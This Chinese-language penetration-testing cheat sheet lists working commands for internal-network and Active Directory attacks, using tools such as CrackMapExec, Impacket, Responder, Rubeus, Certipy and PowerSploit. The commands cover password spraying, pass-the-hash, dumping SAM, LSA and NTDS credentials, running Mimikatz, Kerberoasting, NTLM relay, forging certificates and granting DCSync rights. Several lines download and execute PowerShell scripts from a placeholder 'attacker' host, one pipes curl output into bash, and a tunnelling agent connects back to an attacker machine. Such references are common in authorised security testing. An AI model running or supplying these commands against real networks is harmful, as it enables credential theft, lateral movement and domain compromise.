Files

15 KiB
Raw Permalink Blame History

内网渗透

19 条工具命令

CrackMapExec crackmapexec

内网渗透瑞士军刀

Step 0

扫描网段内的SMB服务 platform: linux

crackmapexec smb 192.168.1.0/24

语法解析:

  • crackmapexec — CME工具 command
  • smb — SMB协议模块 value

Step 0

使用单个密码测试多个用户 platform: linux

crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123

语法解析:

  • -u — 用户名或用户文件 parameter
  • -p — 密码或密码文件 parameter

Step 0

测试凭证是否有效 platform: linux

crackmapexec smb 192.168.1.0/24 -u admin -p password

Step 0

使用哈希进行认证 platform: linux

crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH

语法解析:

  • -H — NTLM哈希 parameter

Step 0

在目标机器执行命令 platform: linux

crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"

语法解析:

  • -x — 执行命令 parameter

Step 0

在目标机器执行PowerShell platform: linux

crackmapexec smb 192.168.1.100 -u admin -p password -X "Get-Process"

语法解析:

  • -X — 执行PowerShell命令 parameter

Step 0

导出SAM数据库 platform: linux

crackmapexec smb 192.168.1.100 -u admin -p password --sam

Step 0

导出LSASS凭证 platform: linux

crackmapexec smb 192.168.1.100 -u admin -p password --lsa

Step 0

执行Mimikatz模块 platform: linux

crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz

语法解析:

  • -M — 指定模块 parameter

Step 0

通过WinRM执行命令 platform: linux

crackmapexec winrm 192.168.1.100 -u admin -p password

Impacket impacket

Python网络协议库

Step 0

PsExec远程执行 platform: linux

psexec.py domain/user:password@target_ip

Step 0

WMI远程执行 platform: linux

wmiexec.py domain/user:password@target_ip

Step 0

通过计划任务执行 platform: linux

atexec.py domain/user:password@target_ip "command"

Step 0

SMB远程执行 platform: linux

smbexec.py domain/user:password@target_ip

Step 0

导出所有凭证 platform: linux

secretsdump.py domain/user:password@target_ip

Step 0

Kerberoasting攻击 platform: linux

GetUserSPNs.py domain/user:password -dc-ip dc_ip -request

Step 0

AS-REP Roasting攻击 platform: linux

GetNPUsers.py domain/ -usersfile users.txt -format hashcat

Step 0

NTLM中继攻击 platform: linux

ntlmrelayx.py -tf targets.txt -smb2support

Step 0

MSSQL客户端 platform: linux

mssqlclient.py domain/user:password@target_ip

Step 0

通过LSA枚举用户 platform: linux

lookupsid.py domain/user:password@target_ip

Responder responder

LLMNR/NBT-NS/MDNS Poisoner

Step 0

启动Responder监听 platform: linux

responder -I eth0

Step 0

被动分析模式 platform: linux

responder -I eth0 -A

Step 0

启用WPAD代理攻击 platform: linux

responder -I eth0 -wF

Step 0

启用Finger服务 platform: linux

responder -I eth0 -f

Step 0

禁用SMB服务 platform: linux

responder -I eth0 --disable-smb

Step 0

查看捕获的哈希 platform: linux

cat /usr/share/responder/logs/*.txt

Step 0

启用DHCP欺骗 platform: linux

responder -I eth0 -D

Evil-WinRM evil-winrm

WinRM远程管理工具

Step 0

使用密码连接 platform: linux

evil-winrm -i target_ip -u user -p password

Step 0

使用哈希连接 platform: linux

evil-winrm -i target_ip -u user -H ntlm_hash

Step 0

上传文件到目标 platform: linux

upload local_file remote_path

Step 0

从目标下载文件 platform: linux

download remote_path local_file

Step 0

加载PowerShell脚本 platform: linux

menu
Bypass-4MSI
Invoke-Mimikatz

Step 0

执行PowerShell命令 platform: linux

Invoke-Command -ScriptBlock {whoami}

ProxyChains proxychains

代理链工具

Step 0

配置SOCKS代理 platform: linux

vim /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

Step 0

通过代理运行工具 platform: linux

proxychains4 nmap -sT -Pn target_ip

Step 0

动态代理链 platform: linux

dynamic_chain
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081

Step 0

严格按顺序使用代理 platform: linux

strict_chain

Step 0

随机选择代理 platform: linux

random_chain

BloodHound bloodhound-tool

Active Directory关系分析工具

Step 0

启动Neo4j数据库 platform: linux

sudo neo4j console

Step 0

启动BloodHound界面 platform: linux

bloodhound

Step 0

采集所有域信息 platform: windows

SharpHound.exe -c All

Step 0

PowerShell远程加载采集 platform: windows

IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All

Step 0

Python版本采集 platform: linux

bloodhound-python -u user -p password -d domain.com -ns dc_ip

Step 0

查询到域管理员的最短路径

MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p

Step 0

查询DCSync权限关系

MATCH (n)-[r:DCSync]->(m) RETURN n,m

Step 0

查询无约束委派计算机

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

Step 0

查询高权限用户

MATCH (n:User) WHERE n.admincount=true RETURN n

SharpHound sharphound-tool

BloodHound数据采集器

Step 0

采集所有数据 platform: windows

SharpHound.exe -c All

Step 0

指定域控制器 platform: windows

SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com

Step 0

指定域名 platform: windows

SharpHound.exe -c All --Domain domain.com

Step 0

随机文件名隐蔽采集 platform: windows

SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\Users\Public

Step 0

指定采集方法 platform: windows

SharpHound.exe -c Default,ACL,Trusts,Container

SharpSMBClient sharpsmbclient-tool

SMB客户端工具

Step 0

列出SMB共享 platform: windows

SharpSMBClient.exe -d domain -u user -p password -i target_ip -L

Step 0

列出共享目录 platform: windows

SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l

Step 0

下载文件 platform: windows

SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g "path\file"

Step 0

上传文件 platform: windows

SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path

PowerSploit powersploit-tool

PowerShell渗透测试框架

Step 0

远程加载PowerView platform: windows

IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")

Step 0

获取域信息 platform: windows

Get-NetDomain

Step 0

获取域用户 platform: windows

Get-NetUser

Step 0

获取域管理员 platform: windows

Get-NetGroup "Domain Admins"

Step 0

获取域控制器 platform: windows

Get-NetDomainController

Step 0

查找域管理员登录位置 platform: windows

Find-DomainUserLocation

Step 0

获取对象ACL platform: windows

Get-ObjectAcl -SamAccountName target

Step 0

添加DCSync权限 platform: windows

Add-DomainObjectAcl -TargetIdentity target -Rights DCSync

NetExec netexec

CrackMapExec的继任者,网络渗透测试自动化工具

Step 0

SMB共享和用户枚举

nxc smb 10.0.0.0/24 -u user -p password --shares
nxc smb 10.0.0.0/24 -u user -p password --users

语法解析:

  • nxc — NetExec命令行工具 command
  • smb — 指定SMB协议 parameter
  • --shares — 枚举共享目录 parameter

Step 0

使用单一密码对多用户进行喷射

nxc smb 10.0.0.0/24 -u users.txt -p "Password123!" --continue-on-success

Step 0

通过SMB/WinRM执行命令

nxc smb target_ip -u admin -p password -x "whoami"
nxc winrm target_ip -u admin -p password -X "Get-Process"

Step 0

提取SAM/LSA/NTDS中的凭证

nxc smb target_ip -u admin -p password --sam
nxc smb target_ip -u admin -p password --lsa
nxc smb target_ip -u admin -p password --ntds

Ligolo-ng ligolo-ng

高级内网隧道代理工具,基于TUN接口

Step 0

在攻击机上配置TUN接口和启动代理 platform: linux

# 创建TUN接口
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# 启动代理服务
./proxy -selfcert -laddr 0.0.0.0:11601

语法解析:

  • ip tuntap add — 创建TUN虚拟网络接口 command
  • -selfcert — 使用自签名证书 parameter

Step 0

在目标机运行Agent连接回攻击机

./agent -connect attacker_ip:11601 -ignore-cert

Step 0

配置路由实现内网直通 platform: linux

# 在Ligolo控制台:
session
start
# 在攻击机添加路由:
sudo ip route add 10.10.10.0/24 dev ligolo

SharpHound sharphound

BloodHound的C#数据收集器,在Windows域内收集AD信息

Step 0

收集所有AD域信息(用户/组/ACL/Session等) platform: windows

.\SharpHound.exe -c All

语法解析:

  • -c All — 收集所有类型的数据 parameter

Step 0

仅从DC收集,不保存缓存,随机文件名 platform: windows

.\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache

Step 0

循环收集Session信息(2小时,每5分钟一次) platform: windows

.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00

Step 0

收集指定子域的信息 platform: windows

.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass

BloodHound-Python bloodhound-python

BloodHound的Python数据收集器,可从Linux远程收集AD信息

Step 0

从Linux远程收集AD域全量信息 platform: linux

bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All

语法解析:

  • -d — 目标域名 parameter
  • -ns — DNS服务器(通常是DC) parameter
  • -c All — 收集所有类型数据 parameter

Step 0

使用NTLM哈希进行Pass-the-Hash收集 platform: linux

bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All

Step 0

仅收集组、本地管理员和会话信息 platform: linux

bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session

Rubeus rubeus

Kerberos攻击工具集,用于票据操作和Kerberos攻击

Step 0

请求服务票据用于离线破解 platform: windows

Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt

语法解析:

  • kerberoast — 请求TGS票据进行离线破解 command
  • /outfile — 保存哈希到文件 parameter

Step 0

对不需要预认证的账户请求AS-REP platform: windows

Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Step 0

导入Kerberos票据 platform: windows

Rubeus.exe ptt /ticket:base64_ticket
Rubeus.exe ptt /ticket:ticket.kirbi

Step 0

使用密码或哈希请求TGT票据 platform: windows

Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt
Rubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt

Step 0

S4U约束委派攻击 platform: windows

Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt

Certipy certipy

AD CS(Active Directory证书服务)攻击工具

Step 0

枚举可利用的证书模板

certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable

语法解析:

  • find — 枚举模式 command
  • -vulnerable — 仅显示可利用的模板 parameter

Step 0

ESC1: 利用允许SAN的模板伪造管理员证书

certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com

Step 0

使用证书进行PKINIT认证获取NT Hash

certipy auth -pfx admin.pfx -dc-ip dc_ip

Step 0

Shadow Credentials攻击获取目标用户凭证

certipy shadow auto -u user@domain.com -p password -account target_user

LaZagne lazagne-tool

自动化本地密码恢复工具,支持数十种应用

Step 0

提取所有支持应用的密码 platform: windows

lazagne.exe all

语法解析:

  • all — 搜索所有支持的应用程序 parameter

Step 0

仅提取指定类别的密码 platform: windows

lazagne.exe browsers
lazagne.exe wifi
lazagne.exe databases
lazagne.exe sysadmin

Step 0

Linux版本使用方式 platform: linux

python3 lazagne.py all
python3 lazagne.py browsers

Seatbelt seatbelt

C#安全审计工具,快速收集Windows系统安全相关信息

Step 0

执行所有安全检查 platform: windows

Seatbelt.exe -group=all -full

语法解析:

  • -group=all — 运行所有检查组 parameter
  • -full — 详细输出模式 parameter

Step 0

检查系统和用户相关安全配置 platform: windows

Seatbelt.exe -group=system -group=user

Step 0

运行指定的检查模块 platform: windows

Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles

Step 0

远程执行安全审计 platform: windows

Seatbelt.exe -group=remote -computername=target -username=admin -password=pass

WinPEAS winpeas

Windows权限提升辅助脚本,自动发现提权路径

Step 0

执行所有Windows提权检查 platform: windows

winpeasany.exe

Step 0

快速模式(跳过耗时检查) platform: windows

winpeasany.exe fast

Step 0

仅检查指定类别 platform: windows

winpeasany.exe servicesinfo
winpeasany.exe userinfo
winpeasany.exe systeminfo

Step 0

将结果保存到文件 platform: windows

winpeasany.exe log=output.txt
winpeasany.exe /quiet > output.txt 2>&1

LinPEAS linpeas

Linux权限提升辅助脚本,自动发现提权路径

Step 0

执行所有Linux提权检查 platform: linux

./linpeas.sh

Step 0

全面扫描(含耗时检查)并输出到文件 platform: linux

./linpeas.sh -a -o output.txt

Step 0

无文件落地直接执行 platform: linux

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

Step 0

指定检查类别 platform: linux

./linpeas.sh -s
# -s: 仅超快速检查
# -P: 仅密码相关
# -n: 仅网络信息